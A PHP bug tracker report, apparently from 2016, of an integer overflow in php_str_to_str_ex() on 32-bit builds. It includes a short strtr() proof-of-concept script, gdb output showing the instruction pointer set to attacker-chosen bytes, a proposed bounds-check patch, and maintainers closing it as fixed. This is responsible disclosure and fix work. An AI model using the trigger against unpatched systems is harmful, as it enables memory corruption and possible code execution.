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Bug #71450 An integer overflow bug in php_str_to_str_ex() led arbitrary code execution.
Submitted: 2016-01-26 00:22 UTC Modified: 2016-01-27 07:00 UTC
From: yeongjin dot jang at gatech dot edu Assigned: stas
Status: Closed Package: Strings related
PHP Version: 7.0Git-2016-01-25 (Git) OS: Linux, Ubuntu
Private report: No CVE-ID:
 [2016-01-26 00:22 UTC] yeongjin dot jang at gatech dot edu
This is a different bug with #71449.

An integer overflow vulnerability exists in PHP-7.1.0
due to missing check of size before calling
zend_string_alloc() in ext/standard/string.c:3234.

new_str = zend_string_alloc(count * (str_len - needle_len) + ZSTR_LEN(haystack), 0);

All variables including str_len, needle_len, count, haystack are fully controllable.
The overflow results as arbitrary code execution,
as running of test script alter %eip to the arbitrary values.

This bug is only triggered in 32bit machine.

Test script:
   $a = str_repeat('A', 65536);
   $b = str_repeat('ABCD', 32768);
   // Changing 'ABCD' into other value alters %eip to arbitrary value.
   $c = array('AA'=> $b);
   strtr($a , $c);

Expected result:
Correct execution of strtr() function.

Actual result:
[blue9057@ubuntu ~/exploit/php$] gdb `which php`
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Reading symbols from /usr/local/bin/php...done.
(gdb) r strtr.php
Starting program: /usr/local/bin/php strtr.php

Program received signal SIGSEGV, Segmentation fault.
0x44434241 in ?? ()
(gdb) i r
eax            0x0	0
ecx            0xb7a75000	-1213771776
edx            0xb7a130f0	-1214172944
ebx            0x1	1
esp            0xbfffc01c	0xbfffc01c
ebp            0xbfffc0b4	0xbfffc0b4
esi            0xb7a13020	-1214173152
edi            0xb7a741c0	-1213775424
eip            0x44434241	0x44434241
eflags         0x10286	[ PF SF IF RF ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51
(gdb) r -v
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /usr/local/bin/php -v
PHP 7.1.0-dev (cli) (built: Jan 24 2016 20:39:41) ( NTS )
Copyright (c) 1997-2016 The PHP Group
Zend Engine v3.1.0-dev, Copyright (c) 1998-2016 Zend Technologies
[Inferior 1 (process 4169) exited normally]

EIP is controlled as 0x44434241, from the input "ABCD".


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 [2016-01-26 16:15 UTC] yeongjin dot jang at gatech dot edu
Not sure the patch is attached or not.

diff --git a/ext/standard/string.c b/ext/standard/string.c
index 0229146..a4c26a7 100644
--- a/ext/standard/string.c
+++ b/ext/standard/string.c
@@ -3231,6 +3231,11 @@ static zend_string *php_str_to_str_ex(zend_string *haystack,
                                /* Needle doesn't occur, shortcircuit the actual replacement. */
                                goto nothing_todo;
+                       if( count >= (ZEND_SIZE_MAX  - ZSTR_LEN(haystack)) / (str_len - needle_len) )
+                       {
+                               php_error_docref(NULL, E_WARNING, "Integer overflow has occurred");
+                               RETURN_EMPTY_STRING();
+                       }
                        new_str = zend_string_alloc(count * (str_len - needle_len) + ZSTR_LEN(haystack), 0);

                        e = s = ZSTR_VAL(new_str);
 [2016-01-27 01:38 UTC]
Looks like it should be zend_string_alloc_safe instead of zend_string_alloc. Does not look like a security issue, since requires special code.
 [2016-01-27 06:17 UTC]
-Assigned To: +Assigned To: stas
 [2016-01-27 06:55 UTC]
-Type: Security +Type: Bug
 [2016-01-27 07:00 UTC]
-Status: Assigned +Status: Closed
 [2016-01-27 07:00 UTC]
The fix for this bug has been committed.

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